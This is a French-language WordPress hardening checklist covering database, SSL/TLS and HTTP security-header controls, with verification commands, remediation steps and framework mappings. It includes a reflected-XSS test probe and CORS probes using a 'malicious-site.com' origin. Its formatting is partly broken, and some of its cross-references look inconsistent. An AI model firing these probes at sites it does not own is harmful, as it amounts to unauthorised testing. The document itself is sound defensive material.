Cette section couvre la sécurisation de la base de données WordPress et de ses accès.

6.1.1 — Préfixe Table Personnalisé

Niveau : ?
\nRéférence : OWASP A03 / CIS WordPress 7.1 / NIST 800-53 SC-28
\nMITRE ATT&CK : T1190

Description : Le préfixe par défaut wp_ facilite les attaques d'injection SQL automatisées. Un préfixe personnalisé ajoute une couche d'obscurité contre les attaques génériques.

Vérification :

# Via wp-config.php\ngrep "table_prefix" wp-config.php\n# Via wp-cli\nwp config get table_prefix\n# Test base de données\nwp db query "SHOW TABLES LIKE 'wp_%'"\n

Remédiation :
\n1. Modifier wp-config.php : table_prefix = 'xyz123_';
\n2. Renommer tables existantes si nécessaire
\n3. Mettre à jour options et usermeta

Valeur par défaut : wp_

6.1.2 — Utilisateur Base de Données Dédié

Niveau : ?
\nRéférence : OWASP A07 / CIS WordPress 7.2 / NIST 800-53 AC-6
\nMITRE ATT&CK : T1078

Description : WordPress doit utiliser un utilisateur de base de données dédié avec des privilèges minimaux, pas le compte root ou admin de la base.

Vérification :

# Vérifier utilisateur DB dans wp-config\ngrep "DB_USER" wp-config.php\n# Tester privilèges\nwp db query "SHOW GRANTS FOR CURRENT_USER"\n# Vérifier si root\nwp db query "SELECT USER(), CURRENT_USER()"\n

Remédiation :
\n1. Créer utilisateur dédié WordPress
\n2. Accorder privilèges minimaux uniquement
\n3. Révoquer privilèges administratifs si existants

Valeur par défaut : Souvent utilisateur avec trop de privilèges

6.1.3 — Privilèges Minimaux Base de Données

Niveau : ?
\nRéférence : OWASP A01 / CIS WordPress 7.3 / NIST 800-53 AC-6
\nMITRE ATT&CK : T1078

Description : L'utilisateur WordPress doit avoir uniquement les privilèges nécessaires : SELECT, INSERT, UPDATE, DELETE sur la base WordPress. Pas de privilèges globaux.

Vérification :

# Vérifier privilèges actuels\nwp db query "SHOW GRANTS"\n# Vérifier privilèges dangereux\nwp db query "SELECT * FROM information_schema.user_privileges WHERE grantee LIKE '%wpuser%'"\n

Remédiation :
\n1. Révoquer privilèges excessifs
\n2. Accorder seulement SELECT, INSERT, UPDATE, DELETE
\n3. Limiter à la base WordPress uniquement

Valeur par défaut : Privilèges souvent excessifs

6.1.4 — Connexions Chiffrées SSL/TLS

Niveau : ?
\nRéférence : OWASP A02 / CIS WordPress 7.4 / NIST 800-53 SC-8
\nMITRE ATT&CK : T1040

Description : Les connexions à la base de données doivent être chiffrées via SSL/TLS pour protéger les données en transit, particulièrement sur des bases distantes.

Vérification :

# Vérifier SSL DB actuel\nwp db query "SHOW STATUS LIKE 'Ssl_cipher'"\nwp db query "SHOW VARIABLES LIKE 'have_ssl'"\n# Configuration wp-config\ngrep -i ssl wp-config.php\n

Remédiation :
\n1. Configurer MySQL/MariaDB avec SSL
\n2. Ajouter MYSQL_CLIENT_FLAGS dans wp-config.php
\n3. Forcer connexions SSL uniquement

Valeur par défaut : Connexions non chiffrées

6.1.5 — Sauvegarde Automatisée Base de Données

Niveau : ?
\nRéférence : OWASP A04 / CIS WordPress 7.5 / NIST 800-53 CP-9
\nMITRE ATT&CK : T1485

Description : Mettre en place des sauvegardes automatisées, régulières et testées de la base de données WordPress avec rétention appropriée et stockage sécurisé.

Vérification :

# Vérifier plugins backup\nwp plugin list | grep -iE "(backup|updraft)"\n# Dernière sauvegarde\nls -la /backups/wordpress/ 2>/dev/null\n# Cron backup\ncrontab -l | grep -i backup\n

Remédiation :
\n1. Configuration plugin backup fiable
\n2. Sauvegarde quotidienne minimum
\n3. Test restauration régulier

Valeur par défaut : Sauvegardes manuelles ou absentes

RÉCAPITULATIF ET CONCLUSION

? TABLEAU DE BORD SÉCURITÉ

Résumé par Section

\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n

Section	Contrôles	? Critiques	? Élevés	? Moyens	? Faibles
S1 - Installation & Config	20	5	8	6	1
S2 - Authentification	25	7	10	7	1
S3 - Plugins	25	4	8	12	1
S4 - Thèmes	15	2	5	7	1
S5 - Permissions Fichiers	20	3	6	10	1
S6 - Base de Données	20	4	6	8	2
TOTAL	125	25	43	50	7

Score de Maturité Sécurité

Niveau 1 - Initial : 0-30% de conformité
Niveau 2 - Basique : 31-50% de conformité
Niveau 3 - Intermédiaire : 51-70% de conformité
Niveau 4 - Avancé : 71-85% de conformité
Niveau 5 - Expert : 86-100% de conformité

Top 10 des Risques Critiques WordPress 2026

Plugins vulnérables - Mise à jour différée, plugins abandonnés
Authentification faible - Pas de 2FA, mots de passe faibles
wp-config.php exposé - Permissions inappropriées, accès web
XML-RPC activé - Vecteur d'attaque DDoS et brute force
Uploads non sécurisés - Exécution PHP, validation insuffisante
Utilisateurs énumérables - API REST, paramètres author
Base de données sur-privilégiée - Utilisateur root, privilèges globaux
Thèmes obsolètes - Vulnérabilités non patchées
Headers sécurité manquants - XSS, clickjacking possible
Monitoring insuffisant - Détection d'intrusion absente

?️ ROADMAP DE REMÉDIATION

Phase 1 - Urgence (0-7 jours) ?

Objectif : Corriger les vulnérabilités critiques

✅ Actions Prioritaires :
\n- [ ] Mettre à jour WordPress core, plugins et thèmes
\n- [ ] Activer 2FA pour tous les administrateurs
\n- [ ] Sécuriser wp-config.php (permissions 600)
\n- [ ] Désactiver XML-RPC si non utilisé
\n- [ ] Bloquer exécution PHP dans /uploads/
\n- [ ] Changer préfixe base de données si wp_
\n- [ ] Activer HTTPS forcé et HSTS
\n- [ ] Installer plugin de sécurité (Wordfence/Sucuri)

Temps estimé : 4-8 heures selon la taille du site

Phase 2 - Court terme (1-4 semaines) ?

Objectif : Renforcer la sécurité générale

✅ Actions importantes :
\n- [ ] Configurer sauvegarde automatique complète
\n- [ ] Implémenter limitation tentatives de connexion
\n- [ ] Configurer headers de sécurité HTTP
\n- [ ] Auditer et nettoyer plugins/thèmes inactifs
\n- [ ] Mettre en place monitoring basique
\n- [ ] Renforcer permissions fichiers système
\n- [ ] Configurer WAF (CloudFlare/Sucuri)
\n- [ ] Créer environnement de staging

Temps estimé : 2-4 semaines selon les ressources

Phase 3 - Moyen terme (1-3 mois) ?

Objectif : Optimiser et automatiser

✅ Actions d'amélioration :
\n- [ ] Déployer SIEM/monitoring avancé
\n- [ ] Automatiser tests de sécurité
\n- [ ] Implémenter CI/CD sécurisé
\n- [ ] Former équipe aux bonnes pratiques
\n- [ ] Documenter procédures sécurité
\n- [ ] Mettre en place audit régulier
\n- [ ] Optimiser performances sécurisées
\n- [ ] Plan de réponse aux incidents

Temps estimé : 1-3 mois selon la maturité

Phase 4 - Long terme (3-12 mois) ?

Objectif : Excellence et conformité

✅ Actions stratégiques :
\n- [ ] Certification sécurité (ISO 27001)
\n- [ ] Audit externe annuel
\n- [ ] Formation continue équipe
\n- [ ] Veille technologique sécurité
\n- [ ] Amélioration continue processus
\n- [ ] Business continuity plan
\n- [ ] Disaster recovery plan
\n- [ ] Security by design

? MAPPING RÉFÉRENTIELS

OWASP Top 10 2021

\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n

OWASP	WordPress	Contrôles
A01 - Broken Access Control	Permissions, Roles, Files	S2, S5
A02 - Cryptographic Failures	SSL, Passwords, Storage	S2, S6, S7
A03 - Injection	SQL, XSS, Upload	S3, S6, S9
A04 - Insecure Design	Config, Plugins	S1, S3, S9
A05 - Security Misconfiguration	WordPress, Server	S1, S5, S8
A06 - Vulnerable Components	Plugins, Themes	S3, S4
A07 - Identification Failures	Auth, Sessions	S2
A08 - Software Integrity	Updates, Verification	S3, S4, S5
A09 - Logging Failures	Monitoring, Audit	S14
A10 - SSRF	Plugin Communications	S3, S10

NIST Cybersecurity Framework

\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n

Fonction	WordPress	Description
IDENTIFY	S1, S3, S14	Asset inventory, vulnerabilities
PROTECT	S2, S5, S7, S8	Access control, data protection
DETECT	S11, S14	Monitoring, threat detection
RESPOND	S12, S18	Incident response, backups
RECOVER	S12, S13	Recovery planning, updates

ISO 27001:2022

\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n

Annexe A	WordPress	Contrôles
A.5 - Information Security Policies	S18	Governance
A.6 - Organization of Information Security	S18	Roles & Responsibilities
A.8 - Asset Management	S3, S4	Plugin/Theme inventory
A.9 - Access Control	S2, S5	Authentication, Authorization
A.12 - Operations Security	S1, S13	Secure operations
A.13 - Communications Security	S7, S8	Network protection
A.14 - System Acquisition	S3, S4	Secure development
A.16 - Information Security Incident Management	S14, S18	Incident response
A.17 - Business Continuity	S12	Backup & Recovery
A.18 - Compliance	S18	Legal & Regulatory

MITRE ATT&CK Framework

\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n

Tactique	Technique	WordPress	Contrôles
Initial Access	T1190 - Exploit Public Application	Plugins vulnérables	S3, S4
Persistence	T1505 - Server Software Component	Webshells, backdoors	S3, S5
Privilege Escalation	T1078 - Valid Accounts	Comptes compromis	S2
Defense Evasion	T1070 - Indicator Removal	Log clearing	S14
Credential Access	T1110 - Brute Force	Login attacks	S2, S11
Discovery	T1083 - File Discovery	Directory listing	S5
Collection	T1005 - Data from Local System	File access	S5
Exfiltration	T1041 - C2 Channel	Data theft	S11
Impact	T1485 - Data Destruction	Ransomware	S12

S7 — SSL/TLS & HTTPS

7.1.1 — Certificat SSL Valide et Configuré

Niveau : ? Critique
\nRéférence : OWASP A07 / CIS WordPress 7.1
\nMITRE ATT&CK : T1040

Description : Le site doit disposer d'un certificat SSL valide émis par une autorité de confiance. Un certificat invalide ou auto-signé expose les données en transit et affecte la confiance des utilisateurs.

Vérification :

# Test du certificat SSL\ncurl -I https://votre-site.com\nopenssl s_client -connect votre-site.com:443 -servername votre-site.com < /dev/null\n# Vérifier la date d'expiration\necho | openssl s_client -connect votre-site.com:443 2>/dev/null | openssl x509 -noout -dates\n

Remédiation :
\n1. Obtenir un certificat Let's Encrypt gratuit via Certbot
\n2. Configurer le renouvellement automatique
\n3. Tester la configuration avec SSL Labs

Valeur par défaut : Aucun certificat SSL configuré

7.1.2 — Force HTTPS sur tout le site

Niveau : ? Critique
\nRéférence : OWASP A02 / CIS WordPress 7.2
\nMITRE ATT&CK : T1040

Description : Forcer la redirection HTTPS pour toutes les pages empêche l'interception des données sensibles et améliore le référencement SEO.

Vérification :

# Test redirection HTTP vers HTTPS\ncurl -I http://votre-site.com\n# Vérifier les URLs WordPress\nwp option get siteurl --allow-root\nwp option get home --allow-root\n

Remédiation :
\n1. Dans wp-config.php : define('FORCE_SSL_ADMIN', true);
\n2. Mettre à jour les URLs : wp option update siteurl 'https://votre-site.com' --allow-root
\n3. Configurer .htaccess pour redirection 301

Valeur par défaut : HTTP autorisé, pas de redirection forcée

7.1.3 — Configuration HSTS (HTTP Strict Transport Security)

Niveau : ? Important
\nRéférence : OWASP A06 / CIS WordPress 7.3
\nMITRE ATT&CK : T1557

Description : HSTS force les navigateurs à utiliser exclusivement HTTPS et prévient les attaques de type SSL stripping et man-in-the-middle.

Vérification :

# Vérifier header HSTS\ncurl -I https://votre-site.com | grep -i strict-transport-security\n# Test avec Security Headers\ncurl -H 'User-Agent: Mozilla/5.0' -I https://votre-site.com\n

Remédiation :
\n1. Ajouter dans .htaccess : Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains; preload"
\n2. Ou via plugin Wordfence/Security Headers
\n3. Soumettre le domaine à HSTS Preload List

Valeur par défaut : Header HSTS non configuré

7.1.4 — Élimination Mixed Content (contenu mixte)

Niveau : ? Modéré
\nRéférence : OWASP A06 / CIS WordPress 7.4
\nMITRE ATT&CK : T1040

Description : Le mixed content (ressources HTTP chargées sur une page HTTPS) compromet la sécurité et génère des avertissements navigateur.

Vérification :

# Scanner le mixed content\ncurl -s https://votre-site.com | grep -i 'http://' | head -10\n# Vérifier via navigateur Console F12\n# Plugin Really Simple SSL peut détecter automatiquement\n

Remédiation :
\n1. Installer plugin Really Simple SSL ou SSL Insecure Content Fixer
\n2. Mettre à jour manuellement les URLs en base : wp search-replace 'http://votre-site.com' 'https://votre-site.com' --allow-root
\n3. Configurer CSP upgrade-insecure-requests

Valeur par défaut : Mixed content possible selon thème/plugins

7.1.5 — Support TLS 1.2+ uniquement

Niveau : ? Important
\nRéférence : OWASP A02 / CIS WordPress 7.5
\nMITRE ATT&CK : T1040

Description : Désactiver les versions obsolètes de SSL/TLS (SSLv2, SSLv3, TLS 1.0, TLS 1.1) qui contiennent des vulnérabilités connues.

Vérification :

# Test des versions TLS supportées  \nnmap --script ssl-enum-ciphers -p 443 votre-site.com\n# Test spécifique TLS 1.2\nopenssl s_client -tls1_2 -connect votre-site.com:443\n# Test SSLv3 (ne doit PAS fonctionner)\nopenssl s_client -ssl3 -connect votre-site.com:443\n

Remédiation :
\n1. Configuration Apache : SSLProtocol -all +TLSv1.2 +TLSv1.3
\n2. Configuration Nginx : ssl_protocols TLSv1.2 TLSv1.3;
\n3. Vérifier avec SSL Labs Test

Valeur par défaut : Dépend de la configuration serveur

7.1.6 — Renouvellement Automatique Let's Encrypt

Niveau : ? Modéré
\nRéférence : CIS WordPress 7.6
\nMITRE ATT&CK : T1040

Description : Le renouvellement automatique des certificats Let's Encrypt évite les interruptions de service dues à l'expiration des certificats.

Vérification :

# Vérifier les tâches cron Certbot\ncrontab -l | grep certbot\n# Tester le renouvellement\ncertbot renew --dry-run\n# Vérifier les logs\ncat /var/log/letsencrypt/letsencrypt.log | tail -20\n

Remédiation :
\n1. Configurer cron job : 0 12 * * * /usr/bin/certbot renew --quiet
\n2. Ajouter hook de redémarrage web server
\n3. Monitorer les expirations avec services externes

Valeur par défaut : Renouvellement manuel requis

7.1.7 — Chiffrement des Cookies (Secure Flag)

Niveau : ? Important
\nRéférence : OWASP A02 / CIS WordPress 7.7
\nMITRE ATT&CK : T1539

Description : Forcer le flag Secure sur les cookies sensibles empêche leur transmission sur des connexions non chiffrées.

Vérification :

# Vérifier les cookies via curl  \ncurl -I -c cookies.txt https://votre-site.com/wp-login.php\ncat cookies.txt | grep -i secure\n# Ou via navigateur F12 > Application > Cookies\n

Remédiation :
\n1. Dans wp-config.php : ini_set('session.cookie_secure', 1);
\n2. Plugin Security Headers pour forcer les flags
\n3. Configuration serveur pour tous les cookies

Valeur par défaut : Cookies sans flag Secure

7.1.8 — Configuration Cipher Suites Sécurisées

Niveau : ? Modéré
\nRéférence : OWASP A02 / CIS WordPress 7.8
\nMITRE ATT&CK : T1040

Description : Utiliser uniquement des cipher suites robustes et désactiver les algorithmes faibles (RC4, DES, export ciphers).

Vérification :

# Scanner les cipher suites\nnmap --script ssl-enum-ciphers -p 443 votre-site.com | grep -E '(weak|export|rc4)'\n# Test SSL Labs pour grade A+\ncurl -s 'https://api.ssllabs.com/api/v3/analyze?host=votre-site.com'\n

Remédiation :
\n1. Configuration Apache recommandée Mozilla SSL Generator
\n2. Désactiver ciphers faibles dans virtualhost
\n3. Privilégier AEAD ciphers (AES-GCM, ChaCha20-Poly1305)

Valeur par défaut : Configuration serveur par défaut (souvent faible)

7.1.9 — Perfect Forward Secrecy (PFS)

Niveau : ? Modéré
\nRéférence : OWASP A02 / CIS WordPress 7.9
\nMITRE ATT&CK : T1040

Description : Perfect Forward Secrecy garantit que la compromission des clés privées n'affecte pas la confidentialité des sessions passées.

Vérification :

# Vérifier le support PFS\nopenssl s_client -connect votre-site.com:443 -cipher ECDHE\n# Test avec SSL Labs - rechercher 'Forward Secrecy'\ncurl -s 'https://www.ssllabs.com/ssltest/analyze.html?d=votre-site.com'\n

Remédiation :
\n1. Privilégier les cipher suites ECDHE et DHE
\n2. Configuration Apache : SSLCipherSuite ECDHE+AESGCM:ECDHE+AES256
\n3. Générer des paramètres DH forts : openssl dhparam -out dhparam.pem 2048

Valeur par défaut : Dépend de la configuration cipher suites

7.1.10 — Désactivation Compression SSL (CRIME/BREACH)

Niveau : ? Modéré
\nRéférence : OWASP A06 / CIS WordPress 7.10
\nMITRE ATT&CK : T1040

Description : Désactiver la compression SSL/TLS pour prévenir les attaques CRIME et BREACH qui exploitent les patterns de compression.

Vérification :

# Vérifier si compression SSL activée\necho | openssl s_client -connect votre-site.com:443 2>/dev/null | grep Compression\n# Test avec nmap\nnmap --script ssl-cert,ssl-enum-ciphers -p 443 votre-site.com\n

Remédiation :
\n1. Apache : SSLCompression off
\n2. Nginx : compression désactivée par défaut pour SSL
\n3. Vérifier que mod_deflate n'affecte pas HTTPS

Valeur par défaut : Compression souvent activée

7.1.11 — Monitoring Expiration Certificats

Niveau : ? Modéré
\nRéférence : CIS WordPress 7.11
\nMITRE ATT&CK : T1040

Description : Surveiller proactivement l'expiration des certificats SSL pour éviter les interruptions de service et les alertes de sécurité.

Vérification :

# Script de monitoring expiration\necho | openssl s_client -connect votre-site.com:443 2>/dev/null | openssl x509 -noout -dates\n# Calculer jours restants\necho | openssl s_client -servername votre-site.com -connect votre-site.com:443 2>/dev/null | openssl x509 -noout -checkend 2592000\n

Remédiation :
\n1. Script cron de vérification hebdomadaire
\n2. Alertes email 30/15/7 jours avant expiration
\n3. Services externes : SSL Monitor, Uptime Robot

Valeur par défaut : Pas de monitoring automatique

7.1.12 — Certificate Transparency (CT) Logs

Niveau : ? Recommandé
\nRéférence : CIS WordPress 7.12
\nMITRE ATT&CK : T1040

Description : Surveiller les Certificate Transparency logs pour détecter les certificats émis frauduleusement pour votre domaine.

Vérification :

# Rechercher certificats dans CT logs\ncurl -s 'https://crt.sh/?q=votre-site.com&output=json' | jq '.[] | {id: .id, name: .name_value, not_after: .not_after}'\n# Vérifier via SSL Labs CT compliance\n

Remédiation :
\n1. Configurer monitoring crt.sh ou Censys
\n2. Alertes automatiques nouveaux certificats
\n3. Audit régulier des certificats émis

Valeur par défaut : Pas de monitoring CT configuré

7.1.13 — OCSP Stapling Configuration

Niveau : ? Modéré
\nRéférence : CIS WordPress 7.13
\nMITRE ATT&CK : T1040

Description : OCSP Stapling améliore les performances et la privacy en évitant les requêtes directes des clients vers l'autorité de certification.

Vérification :

# Test OCSP Stapling\necho | openssl s_client -connect votre-site.com:443 -status\n# Vérifier via SSL Labs test\ncurl -s 'https://www.ssllabs.com/ssltest/analyze.html?d=votre-site.com' | grep -i ocsp\n

Remédiation :
\n1. Apache : SSLUseStapling On + SSLStaplingCache shmcb:/tmp/stapling_cache(128000)
\n2. Nginx : ssl_stapling on; + ssl_stapling_verify on;
\n3. Test avec SSL Labs pour validation

Valeur par défaut : OCSP Stapling désactivé

7.1.14 — HTTP Public Key Pinning (HPKP) - Optionnel

Niveau : ? Recommandé
\nRéférence : CIS WordPress 7.14
\nMITRE ATT&CK : T1557

Description : HPKP permet d'épingler les clés publiques des certificats pour prévenir les attaques man-in-the-middle avec certificats frauduleux. À utiliser avec précaution.

Vérification :

# Vérifier header HPKP (deprecated)\ncurl -I https://votre-site.com | grep -i public-key-pins\n# Préférer Certificate Authority Authorization (CAA)\ndig CAA votre-site.com\n

Remédiation :
\n1. HPKP deprecated - utiliser CAA DNS records à la place
\n2. Configurer CAA : votre-site.com. CAA 0 issue "letsencrypt.org"
\n3. Monitoring changements certificats via CT logs

Valeur par défaut : Pas de pinning configuré

7.1.15 — Audit Configuration SSL/TLS

Niveau : ? Modéré
\nRéférence : CIS WordPress 7.15
\nMITRE ATT&CK : T1040

Description : Effectuer régulièrement des audits de configuration SSL/TLS avec des outils automatisés pour maintenir un niveau de sécurité optimal.

Vérification :

# Test SSL Labs (grade A+ requis)\ncurl -s 'https://api.ssllabs.com/api/v3/analyze?host=votre-site.com&publish=off'\n# Test avec testssl.sh  \n./testssl.sh https://votre-site.com\n# Scanner Nmap SSL\nnmap --script ssl-cert,ssl-enum-ciphers -p 443 votre-site.com\n

Remédiation :
\n1. Audit mensuel avec SSL Labs
\n2. Scripts automatisés testssl.sh
\n3. Monitoring continu avec Qualys ou similaire
\n4. Documentation des changements de configuration

Valeur par défaut : Pas d'audit automatique configuré

S8 — HEADERS DE SÉCURITÉ HTTP

8.1.1 — Content Security Policy (CSP)

Niveau : ? Important
\nRéférence : OWASP A03 / CIS WordPress 8.1
\nMITRE ATT&CK : T1189

Description : CSP prévient les attaques XSS en contrôlant les ressources (scripts, styles, images) que le navigateur est autorisé à charger.

Vérification :

# Vérifier header CSP\ncurl -I https://votre-site.com | grep -i content-security-policy\n# Tester avec Security Headers\ncurl -H 'User-Agent: Mozilla/5.0' -I https://votre-site.com\n

Remédiation :
\n1. Ajouter dans .htaccess : Header always set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'"
\n2. Plugin Wordfence ou Security Headers
\n3. Tester avec CSP Evaluator de Google

Valeur par défaut : Pas de header CSP configuré

8.1.2 — X-Frame-Options Protection

Niveau : ? Critique
\nRéférence : OWASP A06 / CIS WordPress 8.2
\nMITRE ATT&CK : T1189

Description : X-Frame-Options empêche l'intégration du site dans des frames/iframes, prévenant les attaques de clickjacking.

Vérification :

# Vérifier X-Frame-Options\ncurl -I https://votre-site.com | grep -i x-frame-options\n# Test clickjacking\ncurl -H 'User-Agent: Mozilla/5.0' -I https://votre-site.com/wp-login.php\n

Remédiation :
\n1. .htaccess : Header always set X-Frame-Options "SAMEORIGIN"
\n2. wp-config.php : header('X-Frame-Options: SAMEORIGIN');
\n3. Plugin Security Headers pour gestion centralisée

Valeur par défaut : Header non configuré - clickjacking possible

8.1.3 — X-Content-Type-Options

Niveau : ? Important
\nRéférence : OWASP A06 / CIS WordPress 8.3
\nMITRE ATT&CK : T1189

Description : Empêche le browser de "deviner" le type MIME des fichiers, prévenant l'exécution de contenu malveillant uploadé.

Vérification :

# Vérifier X-Content-Type-Options  \ncurl -I https://votre-site.com | grep -i x-content-type-options\n# Test sur uploads\ncurl -I https://votre-site.com/wp-content/uploads/test.txt\n

Remédiation :
\n1. .htaccess : Header always set X-Content-Type-Options "nosniff"
\n2. Configuration Apache/Nginx globale
\n3. Vérifier que les uploads ont les bons types MIME

Valeur par défaut : MIME type sniffing activé

8.1.4 — X-XSS-Protection (Legacy)

Niveau : ? Modéré
\nRéférence : OWASP A03 / CIS WordPress 8.4
\nMITRE ATT&CK : T1189

Description : Active le filtre XSS intégré des navigateurs. Header legacy mais encore utile pour anciens navigateurs.

Vérification :

# Vérifier X-XSS-Protection\ncurl -I https://votre-site.com | grep -i x-xss-protection  \n# Tester réflexion XSS basique\ncurl 'https://votre-site.com/?test=<script>alert(1)</script>'\n

Remédiation :
\n1. .htaccess : Header always set X-XSS-Protection "1; mode=block"
\n2. CSP moderne préférable pour nouveaux browsers
\n3. Sanitisation input côté serveur prioritaire

Valeur par défaut : Protection XSS navigateur désactivée

8.1.5 — Referrer-Policy Configuration

Niveau : ? Modéré
\nRéférence : OWASP A01 / CIS WordPress 8.5
\nMITRE ATT&CK : T1033

Description : Contrôle les informations de référent transmises lors des requêtes sortantes pour protéger la privacy et éviter les fuites d'information.

Vérification :

# Vérifier Referrer-Policy\ncurl -I https://votre-site.com | grep -i referrer-policy\n# Test avec liens externes  \ncurl -H 'Referer: https://votre-site.com/admin' https://external-site.com\n

Remédiation :
\n1. .htaccess : Header always set Referrer-Policy "strict-origin-when-cross-origin"
\n2. Alternative : same-origin pour plus de sécurité
\n3. Tester impact sur analytics et partenaires

Valeur par défaut : Referrer complet transmis

8.1.6 — Permissions-Policy (Feature-Policy)

Niveau : ? Modéré
\nRéférence : CIS WordPress 8.6
\nMITRE ATT&CK : T1189

Description : Contrôle l'accès aux APIs navigateur (caméra, microphone, géolocalisation) pour réduire la surface d'attaque.

Vérification :

# Vérifier Permissions-Policy\ncurl -I https://votre-site.com | grep -i permissions-policy\n# Ancien header Feature-Policy\ncurl -I https://votre-site.com | grep -i feature-policy  \n

Remédiation :
\n1. .htaccess : Header always set Permissions-Policy "camera=(), microphone=(), geolocation=()"
\n2. Adapter selon besoins fonctionnels du site
\n3. Documentation des APIs autorisées

Valeur par défaut : Toutes APIs navigateur accessibles

8.1.7 — CORS (Cross-Origin Resource Sharing)

Niveau : ? Important
\nRéférence : OWASP A05 / CIS WordPress 8.7
\nMITRE ATT&CK : T1189

Description : Configurer CORS de manière restrictive pour contrôler les domaines autorisés à accéder aux ressources du site.

Vérification :

# Vérifier headers CORS\ncurl -H 'Origin: https://external-domain.com' -I https://votre-site.com/wp-json/\n# Test API REST WordPress\ncurl -H 'Origin: https://malicious-site.com' https://votre-site.com/wp-json/wp/v2/users\n

Remédiation :
\n1. .htaccess : Header set Access-Control-Allow-Origin "https://votre-domaine.com"
\n2. Plugin REST API security pour contrôle granulaire
\n3. Éviter wildcard * sauf cas spécifique

Valeur par défaut : CORS permissif par défaut

8.1.8 — Cache-Control et Pragma Headers

Niveau : ? Modéré
\nRéférence : CIS WordPress 8.8
\nMITRE ATT&CK : T1005

Description : Configurer les headers de cache pour empêcher la mise en cache de pages sensibles (login, admin) dans browsers et proxies.

Vérification :

# Vérifier Cache-Control sur pages sensibles\ncurl -I https://votre-site.com/wp-login.php | grep -i cache-control\ncurl -I https://votre-site.com/wp-admin/ | grep -i cache-control\n

Remédiation :
\n1. Pour wp-login.php : Cache-Control: no-cache, no-store, must-revalidate
\n2. .htaccess règles spécifiques wp-admin/
\n3. Plugin cache avec exclusions pages sensibles

Valeur par défaut : Pas de contrôle cache spécifique

8.1.9 — Server Header Information Hiding

Niveau : ? Modéré
\nRéférence : OWASP A06 / CIS WordPress 8.9
\nMITRE ATT&CK : T1082

Description : Masquer ou modifier les headers serveur révélant des informations techniques exploitables par les attaquants.

Vérification :

# Vérifier headers informatifs\ncurl -I https://votre-site.com | grep -E '(Server|X-Powered-By|X-Generator)'\n# Version Apache/Nginx exposée  \ncurl -I https://votre-site.com | grep Server\n

Remédiation :
\n1. Apache : ServerTokens Prod + ServerSignature Off
\n2. Nginx : server_tokens off;
\n3. .htaccess : Header unset X-Powered-By

Valeur par défaut : Informations serveur exposées

8.1.10 — Cross-Origin-Embedder-Policy (COEP)

Niveau : ? Recommandé
\nRéférence : CIS WordPress 8.10
\nMITRE ATT&CK : T1189

Description : COEP renforce l'isolation des origins et protège contre certaines attaques side-channel comme Spectre.

Vérification :

# Vérifier COEP header\ncurl -I https://votre-site.com | grep -i cross-origin-embedder-policy\n# Tester avec ressources cross-origin  \ncurl -I https://votre-site.com/page-with-external-resources\n

Remédiation :
\n1. .htaccess : Header always set Cross-Origin-Embedder-Policy "require-corp"
\n2. Adapter ressources externes avec CORP headers
\n3. Tester impact sur fonctionnalités cross-origin

Valeur par défaut : Pas de politique COEP configurée

8.1.11 — Cross-Origin-Opener-Policy (COOP)

Niveau : ? Recommandé
\nRéférence : CIS WordPress 8.11
\nMITRE ATT&CK : T1189

Description : COOP empêche les documents cross-origin d'accéder au contexte de navigation, protégeant contre les attaques via window.opener.

Vérification :

# Vérifier COOP header\ncurl -I https://votre-site.com | grep -i cross-origin-opener-policy\n# Test avec popups et liens target=_blank\n

Remédiation :
\n1. .htaccess : Header always set Cross-Origin-Opener-Policy "same-origin"
\n2. Ajouter rel="noopener" aux liens externes
\n3. Tester intégrations nécessitant window.opener

Valeur par défaut : Cross-origin access autorisé

8.1.12 — Expect-CT Header (Deprecated)

Niveau : ? Recommandé
\nRéférence : CIS WordPress 8.12
\nMITRE ATT&CK : T1040

Description : Expect-CT force la validation Certificate Transparency. Header deprecated mais encore utile pour transition.

Vérification :

# Vérifier Expect-CT (deprecated)\ncurl -I https://votre-site.com | grep -i expect-ct\n# Vérifier CT compliance via SSL Labs\n

Remédiation :
\n1. Header deprecated - utiliser CT monitoring externe
\n2. Surveiller crt.sh et Censys pour nouveaux certificats
\n3. Alertes automatiques émission certificats non autorisés

Valeur par défaut : Pas de validation CT forcée

8.1.13 — Clear-Site-Data Header

Niveau : ? Modéré
\nRéférence : CIS WordPress 8.13
\nMITRE ATT&CK : T1539

Description : Clear-Site-Data permet de supprimer sélectivement les données browser (cookies, cache, storage) lors de la déconnexion.

Vérification :

# Vérifier Clear-Site-Data sur logout\ncurl -I https://votre-site.com/wp-login.php?action=logout\n# Tester suppression données browser\n

Remédiation :
\n1. Sur wp-login.php?action=logout : Clear-Site-Data: "cookies", "storage"
\n2. Plugin logout sécurisé avec clear data
\n3. Configurer selon besoins (cache, cookies, storage)

Valeur par défaut : Données browser persistantes après logout

8.1.14 — Custom Security Headers

Niveau : ? Modéré
\nRéférence : CIS WordPress 8.14
\nMITRE ATT&CK : T1082

Description : Implémenter des headers de sécurité personnalisés pour besoins spécifiques de l'organisation.

Vérification :

# Audit complet headers sécurité\ncurl -I https://votre-site.com | grep -E '(X-|Content-|Referrer|Permissions)'\n# Test avec Security Headers scanner  \ncurl -s 'https://securityheaders.com/?q=votre-site.com&hide=on&followRedirects=on'\n

Remédiation :
\n1. X-Content-Security-Policy pour IE legacy
\n2. Headers custom anti-bot : X-Robots-Tag
\n3. Documentation et maintenance des headers custom

Valeur par défaut : Headers sécurité minimaux

8.1.15 — Headers Security Testing

Niveau : ? Modéré
\nRéférence : CIS WordPress 8.15
